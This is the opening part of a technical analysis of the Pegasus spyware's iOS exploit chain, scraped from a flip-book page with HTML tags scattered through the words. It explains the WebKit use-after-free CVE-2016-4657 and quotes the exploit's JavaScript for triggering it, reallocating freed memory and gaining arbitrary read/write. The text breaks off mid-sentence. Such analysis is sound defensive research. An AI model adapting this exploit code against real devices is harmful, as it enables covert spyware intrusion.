Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
<str<strong>on</strong>g>Technical</str<strong>on</strong>g> <str<strong>on</strong>g>Analysis</str<strong>on</strong>g> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
<str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> <str<strong>on</strong>g>Exploits</str<strong>on</strong>g> <strong>on</strong> <strong>iOS</strong>
Secti<strong>on</strong> 1: <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> Exploitati<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> Safari (CVE-2016-4657) 2<br />
Background 3<br />
Exploitati<strong>on</strong> 7<br />
Setting up and triggering <str<strong>on</strong>g>the</str<strong>on</strong>g> vulnerability 7<br />
Acquiring an arbitrary read/write primitive 9<br />
Leaking an object address 9<br />
Native code executi<strong>on</strong> 9<br />
Evading detecti<strong>on</strong> 10<br />
Secti<strong>on</strong> 2: Exploitati<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> KASLR by <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> 11<br />
Differences Between 32 and 64-Bit Binaries 12<br />
API Loading 12<br />
Envir<strong>on</strong>ment Setup and Platform Determinati<strong>on</strong> 13<br />
Defeating KASLR 16<br />
Establishing Read/Write/Execute Primitives <strong>on</strong> Previously Rooted Devices (32-Bit) 19<br />
Thread Manipulati<strong>on</strong> 21<br />
Establishing Communicati<strong>on</strong> Channel (32-Bit) 21<br />
Payload C<strong>on</strong>structi<strong>on</strong> and Kernel Inserti<strong>on</strong> (32-Bit) 22<br />
Payload C<strong>on</strong>structi<strong>on</strong> and Kernel Inserti<strong>on</strong> (64-Bit) 25<br />
Establishing Kernel Read/Write Primitives (32-Bit) 25<br />
Establishing Kernel Read/Write Primitives (64-Bit) 30<br />
Establishing a Kernel Execute Primitive (32-Bit) 31<br />
Patching <str<strong>on</strong>g>the</str<strong>on</strong>g> Kernel to Allow Kernel Port Access 31<br />
Secti<strong>on</strong> 3: Privilege Escalati<strong>on</strong> and Activating <str<strong>on</strong>g>the</str<strong>on</strong>g> Jailbreak Binary 33<br />
System Modificati<strong>on</strong> for Privilege Escalati<strong>on</strong> 34<br />
Disabling Code Signing 34<br />
Remounting <str<strong>on</strong>g>the</str<strong>on</strong>g> Drive 35<br />
Cleanup 36<br />
Next Stage Installati<strong>on</strong> 36<br />
Existing Jailbreak Detecti<strong>on</strong> 37<br />
Secti<strong>on</strong> 4: <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> Persistence Mechanism 39<br />
<str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> Persistence Mechanism 40<br />
JavaScriptCore Memory Corrupti<strong>on</strong> Issue 40<br />
Exploitati<strong>on</strong> 41<br />
Acquiring an arbitrary read/write primitive 41<br />
Leaking an object address 42<br />
Unsigned native code executi<strong>on</strong> 42<br />
Page 1
Secti<strong>on</strong> 1: <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> Exploitati<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> Safari (CVE-<br />
2016-4657)<br />
The First Stage <str<strong>on</strong>g>of</str<strong>on</strong>g> Infecti<strong>on</strong><br />
This secti<strong>on</strong> reports <strong>on</strong> first stage <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> exploit <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> “Trident” zero-day<br />
vulnerabilities <strong>on</strong> <strong>iOS</strong>, discovered by researchers at Lookout and Citizen Lab. The<br />
first stage <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> attack is triggered when <str<strong>on</strong>g>the</str<strong>on</strong>g> user clicks a spear-phishing link that<br />
opens <str<strong>on</strong>g>the</str<strong>on</strong>g> Safari browser. This enables <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit <str<strong>on</strong>g>of</str<strong>on</strong>g> a vulnerability in WebKit’s<br />
JavaScriptCore library (CVE-2016-4657).<br />
Page 2
<str<strong>on</strong>g>Analysis</str<strong>on</strong>g> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> Safari Exploit<br />
The first stage <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> exploits a vulnerability in WebKit’s JavaScriptCore library (CVE-<br />
2016-4657). The exploit uses <str<strong>on</strong>g>the</str<strong>on</strong>g> Safari web browser to run a JavaScript payload that exploits<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> initial vulnerability to gain arbitrary code executi<strong>on</strong> in <str<strong>on</strong>g>the</str<strong>on</strong>g> c<strong>on</strong>text <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> Safari WebC<strong>on</strong>tent<br />
process.<br />
Background<br />
The vulnerability exists within <str<strong>on</strong>g>the</str<strong>on</strong>g> slowAppend() method <str<strong>on</strong>g>of</str<strong>on</strong>g> MarkedArgumentBuffer and can be<br />
exploited via <str<strong>on</strong>g>the</str<strong>on</strong>g> usage <str<strong>on</strong>g>of</str<strong>on</strong>g> a MarkedArgumentBuffer in <str<strong>on</strong>g>the</str<strong>on</strong>g> static defineProperties() method. The<br />
defineProperties() method accepts as input an object whose own enumerable properties<br />
c<strong>on</strong>stitute descriptors for <str<strong>on</strong>g>the</str<strong>on</strong>g> properties to be defined or modified <strong>on</strong> ano<str<strong>on</strong>g>the</str<strong>on</strong>g>r target object. The<br />
algorithm used to associate each <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g>se properties with <str<strong>on</strong>g>the</str<strong>on</strong>g> target object does two iterati<strong>on</strong>s <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> provided list <str<strong>on</strong>g>of</str<strong>on</strong>g> properties. In <str<strong>on</strong>g>the</str<strong>on</strong>g> first pass, each <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> property descriptors is checked for<br />
proper formatting and a PropertyDescriptor object is created that references <str<strong>on</strong>g>the</str<strong>on</strong>g> underlying<br />
value.<br />
size_t numProperties = propertyNames.size();<br />
Vector descriptors;<br />
MarkedArgumentBuffer markBuffer;<br />
for (size_t i = 0; i < numProperties; i++) {<br />
JSValue prop = properties->get(exec, propertyNames[i]);<br />
if (exec->hadExcepti<strong>on</strong>())<br />
return jsNull();<br />
PropertyDescriptor descriptor;<br />
if (!toPropertyDescriptor(exec, prop, descriptor))<br />
return jsNull();<br />
descriptors.append(descriptor);<br />
The sec<strong>on</strong>d pass is performed after each property has been validated. This pass associates<br />
each <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> user-supplied properties with <str<strong>on</strong>g>the</str<strong>on</strong>g> target object, using <str<strong>on</strong>g>the</str<strong>on</strong>g> type specific<br />
defineOwnProperty() method.<br />
for (size_t i = 0; i < numProperties; i++) {<br />
Identifier propertyName = propertyNames[i];<br />
if (exec->propertyNames().isPrivateName(propertyName))<br />
c<strong>on</strong>tinue;<br />
object->methodTable(exec->vm())->defineOwnProperty(object, exec, propertyName,<br />
descriptors[i], true);<br />
This method may result in user-defined JavaScript methods (that are associated with <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
property being defined) being called. Within any <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g>se user-defined methods, it is possible<br />
that a garbage collecti<strong>on</strong> cycle may be triggered, resulting in any unmarked heap backed<br />
objects being free()ed. Therefore, it is important that each <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> temporary references to <str<strong>on</strong>g>the</str<strong>on</strong>g>se<br />
Page 3
objects, stored within <str<strong>on</strong>g>the</str<strong>on</strong>g> individual PropertyDescriptors in <str<strong>on</strong>g>the</str<strong>on</strong>g> descriptors vector, be individually<br />
marked to ensure that <str<strong>on</strong>g>the</str<strong>on</strong>g>se references to not become stale. To achieve this, a<br />
MarkedArgumentBuffer is used. This class is intended to temporarily prevent <str<strong>on</strong>g>the</str<strong>on</strong>g> values<br />
appended to it from being garbage collected during <str<strong>on</strong>g>the</str<strong>on</strong>g> period for which it is in scope.<br />
To understand how MarkedArgumentBuffers work we must first understand some basics <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
JavaScriptCore garbage collecti<strong>on</strong>. The garbage collector is resp<strong>on</strong>sible for deallocating objects<br />
that are no l<strong>on</strong>ger referenced and runs at random intervals that increase in frequency as more<br />
memory is used by <str<strong>on</strong>g>the</str<strong>on</strong>g> WebC<strong>on</strong>tent process. To determine whe<str<strong>on</strong>g>the</str<strong>on</strong>g>r an object is referenced, <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
garbage collector walks <str<strong>on</strong>g>the</str<strong>on</strong>g> stack and looks for references to <str<strong>on</strong>g>the</str<strong>on</strong>g> object. References to an<br />
object may also exist <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> applicati<strong>on</strong> heap, however, so an alternate mechanism (which will<br />
be explained in detail below) must be used for <str<strong>on</strong>g>the</str<strong>on</strong>g>se cases.<br />
A MarkedArgumentBuffer initially attempts to maintain an inline stack buffer c<strong>on</strong>taining each<br />
value. When <str<strong>on</strong>g>the</str<strong>on</strong>g> stack is walked within garbage collecti<strong>on</strong>, each value will be noted and <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
underlying objects will avoid deallocati<strong>on</strong>.<br />
class MarkedArgumentBuffer {<br />
...<br />
private:<br />
static c<strong>on</strong>st size_t inlineCapacity = 8;<br />
…<br />
public:<br />
...<br />
MarkedArgumentBuffer()<br />
: m_size(0)<br />
, m_capacity(inlineCapacity)<br />
, m_buffer(m_inlineBuffer)<br />
, m_markSet(0)<br />
{<br />
}<br />
...<br />
void append(JSValue v)<br />
{<br />
if (m_size >= m_capacity)<br />
return slowAppend(v);<br />
slotFor(m_size) = JSValue::encode(v);<br />
++m_size;<br />
}<br />
...<br />
private:<br />
...<br />
int m_size;<br />
int m_capacity;<br />
EncodedJSValue m_inlineBuffer[inlineCapacity];<br />
EncodedJSValue* m_buffer;<br />
ListSet* m_markSet;<br />
The size <str<strong>on</strong>g>of</str<strong>on</strong>g> this inline stack buffer is limited to eight values. When <str<strong>on</strong>g>the</str<strong>on</strong>g> ninth value is added to a<br />
MarkedArgumentBuffer, <str<strong>on</strong>g>the</str<strong>on</strong>g> underlying buffer is moved to <str<strong>on</strong>g>the</str<strong>on</strong>g> heap and <str<strong>on</strong>g>the</str<strong>on</strong>g> capacity is<br />
expanded.<br />
Page 4
void MarkedArgumentBuffer::slowAppend(JSValue v)<br />
{<br />
int newCapacity = m_capacity * 4;<br />
EncodedJSValue* newBuffer = new EncodedJSValue[newCapacity];<br />
for (int i = 0; i < m_capacity; ++i)<br />
newBuffer[i] = m_buffer[i];<br />
if (EncodedJSValue* base = mallocBase())<br />
delete [] base;<br />
m_buffer = newBuffer;<br />
m_capacity = newCapacity;<br />
Once <str<strong>on</strong>g>the</str<strong>on</strong>g> underlying buffer has moved to <str<strong>on</strong>g>the</str<strong>on</strong>g> heap, values are not automatically protected from<br />
garbage collecti<strong>on</strong>. To ensure that <str<strong>on</strong>g>the</str<strong>on</strong>g>se objects are not deallocated, <str<strong>on</strong>g>the</str<strong>on</strong>g> garbage collector<br />
performs a MarkingArgumentBuffers phase in which each value c<strong>on</strong>tained within a<br />
MarkedArgumentBuffer that has been added to <str<strong>on</strong>g>the</str<strong>on</strong>g> Heap’s m_markListSet is marked (marking a<br />
cell ensures that it will not be deallocated in a particular garbage collecti<strong>on</strong> cycle). For this<br />
method <str<strong>on</strong>g>of</str<strong>on</strong>g> marking to work, <str<strong>on</strong>g>the</str<strong>on</strong>g> MarkedArgumentBuffer must be added to <str<strong>on</strong>g>the</str<strong>on</strong>g> markListSet at <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
same time that <str<strong>on</strong>g>the</str<strong>on</strong>g> MarkedArgumentBuffer’s underlying values are moved to <str<strong>on</strong>g>the</str<strong>on</strong>g> heap.<br />
// As l<strong>on</strong>g as our size stays within our Vector's inline<br />
// capacity, all our values are allocated <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> stack, and<br />
// <str<strong>on</strong>g>the</str<strong>on</strong>g>refore d<strong>on</strong>'t need explicit marking. Once our size exceeds<br />
// our Vector's inline capacity, though, our values move to <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
// heap, where <str<strong>on</strong>g>the</str<strong>on</strong>g>y do need explicit marking.<br />
for (int i = 0; i < m_size; ++i) {<br />
Heap* heap = Heap::heap(JSValue::decode(slotFor(i)));<br />
if (!heap)<br />
c<strong>on</strong>tinue;<br />
}<br />
m_markSet = &heap->markListSet();<br />
m_markSet->add(this);<br />
break;<br />
The above code attempts to acquire <str<strong>on</strong>g>the</str<strong>on</strong>g> heap c<strong>on</strong>text for a value and add <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
MarkedArgumentBuffer to <str<strong>on</strong>g>the</str<strong>on</strong>g> Heap’s markListSet. However, this is <strong>on</strong>ly attempted <strong>on</strong>ce for <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
ninth value added to <str<strong>on</strong>g>the</str<strong>on</strong>g> MarkedArgumentBuffer.<br />
inline Heap* Heap::heap(c<strong>on</strong>st JSValue v)<br />
{<br />
if (!v.isCell())<br />
return 0;<br />
return heap(v.asCell());<br />
}<br />
A JSValue c<strong>on</strong>tains a tag which describes <str<strong>on</strong>g>the</str<strong>on</strong>g> type <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> value that it encodes. In <str<strong>on</strong>g>the</str<strong>on</strong>g> case <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
complex objects this tag will be CellTag and <str<strong>on</strong>g>the</str<strong>on</strong>g> JSValue will encode a pointer to an underlying<br />
item <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> Heap. Alternatively, for simple types where <str<strong>on</strong>g>the</str<strong>on</strong>g> entire underlying value <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
variable can be encoded directly into a JSValue (ex. Integers, Booleans, null, and undefined),<br />
storing <str<strong>on</strong>g>the</str<strong>on</strong>g> value <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> heap would be redundant and a different identifying tag will be used.<br />
The functi<strong>on</strong> JSValue::isCell() is used to determine whe<str<strong>on</strong>g>the</str<strong>on</strong>g>r a JSValue encodes a pointer to a<br />
Page 5
cell <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> Heap. Because simple types do not point to <str<strong>on</strong>g>the</str<strong>on</strong>g> heap, attempting to acquire <str<strong>on</strong>g>the</str<strong>on</strong>g> Heap<br />
(via a call to Heap::heap()) for <str<strong>on</strong>g>the</str<strong>on</strong>g>se types has no meaning and will <str<strong>on</strong>g>the</str<strong>on</strong>g>refore return NULL.<br />
inline bool JSValue::isCell() c<strong>on</strong>st<br />
{<br />
return !(u.asInt64 & TagMask);<br />
}<br />
As a result, if <str<strong>on</strong>g>the</str<strong>on</strong>g> ninth value added to a MarkedArgumentBuffer is not a heap backed value,<br />
attempting to acquire <str<strong>on</strong>g>the</str<strong>on</strong>g> Heap c<strong>on</strong>text will return NULL and <str<strong>on</strong>g>the</str<strong>on</strong>g> MarkedArgumentBuffer will<br />
never be added to <str<strong>on</strong>g>the</str<strong>on</strong>g> Heap’s markListSet. This means that <str<strong>on</strong>g>the</str<strong>on</strong>g> MarkedArgumentBuffer will no<br />
l<strong>on</strong>ger serve its purpose (to protect <str<strong>on</strong>g>the</str<strong>on</strong>g> items that it c<strong>on</strong>tains from deallocati<strong>on</strong>) for any item after<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> ninth. Any reference to a heap backed property (after <str<strong>on</strong>g>the</str<strong>on</strong>g> ninth) c<strong>on</strong>tained within <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
descriptors vector has <str<strong>on</strong>g>the</str<strong>on</strong>g> potential to go stale. In reality, at least <strong>on</strong>e o<str<strong>on</strong>g>the</str<strong>on</strong>g>r reference to <str<strong>on</strong>g>the</str<strong>on</strong>g>se<br />
values still exists (<str<strong>on</strong>g>the</str<strong>on</strong>g> JavaScript variable that was passed to defineProperties()). In order for <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
references within <str<strong>on</strong>g>the</str<strong>on</strong>g> descriptors vector to go stale, <str<strong>on</strong>g>the</str<strong>on</strong>g>se remaining references to <str<strong>on</strong>g>the</str<strong>on</strong>g> JSValue<br />
must also be removed before garbage collecti<strong>on</strong> occurs.<br />
The call to defineOwnProperty() (within <str<strong>on</strong>g>the</str<strong>on</strong>g> sec<strong>on</strong>d loop <str<strong>on</strong>g>of</str<strong>on</strong>g> defineProperties()) may result in<br />
calling user-c<strong>on</strong>trolled methods defined <strong>on</strong> property values. As a result, <str<strong>on</strong>g>the</str<strong>on</strong>g> last marked<br />
references to a property value could be removed within this user-defined JavaScript code. If<br />
garbage collecti<strong>on</strong> can be triggered between <str<strong>on</strong>g>the</str<strong>on</strong>g> removal <str<strong>on</strong>g>of</str<strong>on</strong>g> all remaining references to a<br />
property value and <str<strong>on</strong>g>the</str<strong>on</strong>g> (now stale) value from <str<strong>on</strong>g>the</str<strong>on</strong>g> descriptors vector being defined <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> target<br />
object, a reference to free()ed memory will be defined as a property <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> target object.<br />
Page 6
Exploitati<strong>on</strong><br />
The <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> exploit triggers this vulnerability by passing a specifically crafted sequence <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
properties to <str<strong>on</strong>g>the</str<strong>on</strong>g> defineProperties() method. When <str<strong>on</strong>g>the</str<strong>on</strong>g>se individual properties are subsequently<br />
inserted into a MarkedArgumentBuffer <str<strong>on</strong>g>the</str<strong>on</strong>g> vulnerability is triggered such that a JSArray object<br />
will be improperly deallocated if garbage collecti<strong>on</strong> can be triggered at a critical point in time.<br />
Because garbage collecti<strong>on</strong> can not be triggered deterministically, <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit makes repeated<br />
attempts to trigger <str<strong>on</strong>g>the</str<strong>on</strong>g> improper deallocati<strong>on</strong> and subsequent reallocati<strong>on</strong> (for a total <str<strong>on</strong>g>of</str<strong>on</strong>g> ten<br />
attempts), testing each time whe<str<strong>on</strong>g>the</str<strong>on</strong>g>r a stale reference has been successfully acquired.<br />
Assuming garbage collecti<strong>on</strong> has been triggered at <str<strong>on</strong>g>the</str<strong>on</strong>g> correct time, ano<str<strong>on</strong>g>the</str<strong>on</strong>g>r object is allocated<br />
over <str<strong>on</strong>g>the</str<strong>on</strong>g> top <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> now stale JSArray. The exploit <str<strong>on</strong>g>the</str<strong>on</strong>g>n sets up <str<strong>on</strong>g>the</str<strong>on</strong>g> tools needed to gain arbitrary<br />
native code executi<strong>on</strong>, namely a read/write primitive and <str<strong>on</strong>g>the</str<strong>on</strong>g> ability to leak <str<strong>on</strong>g>the</str<strong>on</strong>g> address <str<strong>on</strong>g>of</str<strong>on</strong>g> an<br />
arbitrary JavaScript object. Once this is complete <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit can create an executable mapping<br />
c<strong>on</strong>taining <str<strong>on</strong>g>the</str<strong>on</strong>g> native code payload. The following secti<strong>on</strong>s detail <str<strong>on</strong>g>the</str<strong>on</strong>g> various stages <str<strong>on</strong>g>of</str<strong>on</strong>g> this<br />
process.<br />
Setting up and triggering <str<strong>on</strong>g>the</str<strong>on</strong>g> vulnerability<br />
In order to achieve arbitrary code executi<strong>on</strong>, <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit triggers <str<strong>on</strong>g>the</str<strong>on</strong>g> vulnerable code path using<br />
a JSArray object. The following pseudo code is used to trigger <str<strong>on</strong>g>the</str<strong>on</strong>g> vulnerability.<br />
var arr = new Array(2047);<br />
var not_number = {};<br />
not_number.toString = functi<strong>on</strong>() {<br />
arr = null;<br />
props["stale"]["value"] = null;<br />
… // Trigger garbage collecti<strong>on</strong> and reallocati<strong>on</strong> over stale object<br />
return 10;<br />
};<br />
var props = {<br />
p0 : { value : 0 },<br />
p1 : { value : 1 },<br />
p2 : { value : 2 },<br />
p3 : { value : 3 },<br />
p4 : { value : 4 },<br />
p5 : { value : 5 },<br />
p6 : { value : 6 },<br />
p7 : { value : 7 },<br />
p8 : { value : 8 },<br />
length : { value : not_number },<br />
stale : { value : arr },<br />
after : { value : 666 }<br />
};<br />
var target = [];<br />
Object.defineProperties(target, props);<br />
The specified props object has been specifically crafted to trigger <str<strong>on</strong>g>the</str<strong>on</strong>g> vulnerability in<br />
slowAppend(). When <str<strong>on</strong>g>the</str<strong>on</strong>g> ninth property is added to <str<strong>on</strong>g>the</str<strong>on</strong>g> MarkedArgumentBuffer (p8),<br />
slowAppend() will fail to acquire a heap c<strong>on</strong>text (because <str<strong>on</strong>g>the</str<strong>on</strong>g> value is simple type, an integer,<br />
and not backed by an item <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> heap). Subsequent Heap-backed values (not_number and<br />
Page 7
arr) will not be explicitly protected from deallocati<strong>on</strong> by <str<strong>on</strong>g>the</str<strong>on</strong>g> MarkedArgumentBuffer during<br />
garbage collecti<strong>on</strong>.<br />
When defineOwnProperty() is called for <str<strong>on</strong>g>the</str<strong>on</strong>g> length property, it will attempt to c<strong>on</strong>vert <str<strong>on</strong>g>the</str<strong>on</strong>g> value<br />
(not_number) to a number. As part <str<strong>on</strong>g>of</str<strong>on</strong>g> this code path, <str<strong>on</strong>g>the</str<strong>on</strong>g> toString() method will be called,<br />
allowing <str<strong>on</strong>g>the</str<strong>on</strong>g> last two references to <str<strong>on</strong>g>the</str<strong>on</strong>g> arr JSArray to be removed. Once removed, this JSArray<br />
is no l<strong>on</strong>ger marked, and <str<strong>on</strong>g>the</str<strong>on</strong>g> next garbage collecti<strong>on</strong> pass will deallocate <str<strong>on</strong>g>the</str<strong>on</strong>g> object. <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g><br />
creates memory pressure (allocates a large amount <str<strong>on</strong>g>of</str<strong>on</strong>g> memory) within <str<strong>on</strong>g>the</str<strong>on</strong>g> toString() method in<br />
an attempt to force garbage collecti<strong>on</strong> to run (and deallocate <str<strong>on</strong>g>the</str<strong>on</strong>g> arr object).<br />
var attempts = new Array(4250000);<br />
var pressure = new Array(100);<br />
...<br />
not_number.toString = functi<strong>on</strong>() {<br />
...<br />
for (var i = 0; i < pressure.length; i++) {<br />
pressure[i] = new Uint32Array(262144);<br />
}<br />
var buffer = new ArrayBuffer(80);<br />
var uintArray = new Uint32Array(buffer);<br />
uintArray[0] = 0xAABBCCDD;<br />
for (i = 0; i < attempts.length; i++) {<br />
attempts[i] = new Uint32Array(buffer);<br />
}<br />
}<br />
Each <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> 4.25 milli<strong>on</strong> Uint32Arrays allocated for <str<strong>on</strong>g>the</str<strong>on</strong>g> attempts array use <str<strong>on</strong>g>the</str<strong>on</strong>g> same backing<br />
ArrayBuffer. These objects are used to attempt to reallocate a series <str<strong>on</strong>g>of</str<strong>on</strong>g> Uint32Arrays into <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
same memory referenced by <str<strong>on</strong>g>the</str<strong>on</strong>g> JSArray object (arr).<br />
Once complete, <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit checks to see whe<str<strong>on</strong>g>the</str<strong>on</strong>g>r garbage collecti<strong>on</strong> was successfully<br />
triggered.<br />
var before_len = arr.length;<br />
Object.defineProperties(target, props);<br />
stale = target.stale;<br />
var after_len = stale.length;<br />
if (before_len == after_len) {<br />
throw new RecoverableExcepti<strong>on</strong>(8);<br />
}<br />
If <str<strong>on</strong>g>the</str<strong>on</strong>g> length <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> JSArray remains <str<strong>on</strong>g>the</str<strong>on</strong>g> same it means that ei<str<strong>on</strong>g>the</str<strong>on</strong>g>r garbage collecti<strong>on</strong> was not<br />
triggered or that n<strong>on</strong>e <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> allocated Uint32Arrays were allocated into <str<strong>on</strong>g>the</str<strong>on</strong>g> same address as <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
stale object. In <str<strong>on</strong>g>the</str<strong>on</strong>g>se cases, <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit has failed and <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit is retried.<br />
Acquiring an arbitrary read/write primitive<br />
Assuming <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit has succeeded to this point, <str<strong>on</strong>g>the</str<strong>on</strong>g>re are now two objects <str<strong>on</strong>g>of</str<strong>on</strong>g> different types<br />
that are represented by <str<strong>on</strong>g>the</str<strong>on</strong>g> same memory. The first is <str<strong>on</strong>g>the</str<strong>on</strong>g> (now stale) JSArray, and <str<strong>on</strong>g>the</str<strong>on</strong>g> sec<strong>on</strong>d<br />
is <strong>on</strong>e <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> many Uint32Arrays that were allocated (in fact, <str<strong>on</strong>g>the</str<strong>on</strong>g> underlying templated type is<br />
JSGenericTypedArrayView). By reading from and writing to <str<strong>on</strong>g>of</str<strong>on</strong>g>fsets into <str<strong>on</strong>g>the</str<strong>on</strong>g> stale object, member<br />
Page 8
variables <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> JSGenericTypedArrayView can be read or corrupted. Specifically, <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit<br />
writes to an <str<strong>on</strong>g>of</str<strong>on</strong>g>fset into <str<strong>on</strong>g>the</str<strong>on</strong>g> stale JSArray that overlaps with <str<strong>on</strong>g>the</str<strong>on</strong>g> length <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
JSGenericTypedArrayView, effectively setting <str<strong>on</strong>g>the</str<strong>on</strong>g> length <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> Uint32Array to 0xFFFFFFFF.<br />
Corrupting this value will allow <str<strong>on</strong>g>the</str<strong>on</strong>g> array to be treated as a view <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> entire virtual address<br />
space <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> WebC<strong>on</strong>tent process (an arbitrary read/write primitive).<br />
The exploit still must determine which <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> 4.25 milli<strong>on</strong> Uint32Arrays that were allocated aligns<br />
with <str<strong>on</strong>g>the</str<strong>on</strong>g> stale object. This can be determined by iterating through each <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> arrays and<br />
checking whe<str<strong>on</strong>g>the</str<strong>on</strong>g>r <str<strong>on</strong>g>the</str<strong>on</strong>g> length has changed to 0xFFFFFFFF. All o<str<strong>on</strong>g>the</str<strong>on</strong>g>r arrays will still have <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
original backing ArrayBuffer (or a length <str<strong>on</strong>g>of</str<strong>on</strong>g> 80 / 4).<br />
for (x = attempts.length - 1; x >= 1; x--) {<br />
if (attempts[x].length != 80 / 4) {<br />
if (attempts[x].length == 0xFFFFFFFF) {<br />
memory_view = attempts[x];<br />
...<br />
break;<br />
Leaking an object address<br />
The final comp<strong>on</strong>ent needed to complete <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit is <str<strong>on</strong>g>the</str<strong>on</strong>g> ability to leak <str<strong>on</strong>g>the</str<strong>on</strong>g> address <str<strong>on</strong>g>of</str<strong>on</strong>g> an<br />
arbitrary JavaScript object. The <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> exploit accomplishes this using <str<strong>on</strong>g>the</str<strong>on</strong>g> same mechanism<br />
that was used to corrupt <str<strong>on</strong>g>the</str<strong>on</strong>g> length <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> Uint32Array used for <str<strong>on</strong>g>the</str<strong>on</strong>g> read/write primitive. By<br />
writing to an <str<strong>on</strong>g>of</str<strong>on</strong>g>fset into <str<strong>on</strong>g>the</str<strong>on</strong>g> stale object, <str<strong>on</strong>g>the</str<strong>on</strong>g> buffer <str<strong>on</strong>g>of</str<strong>on</strong>g> a Uint32Array is corrupted to point to a<br />
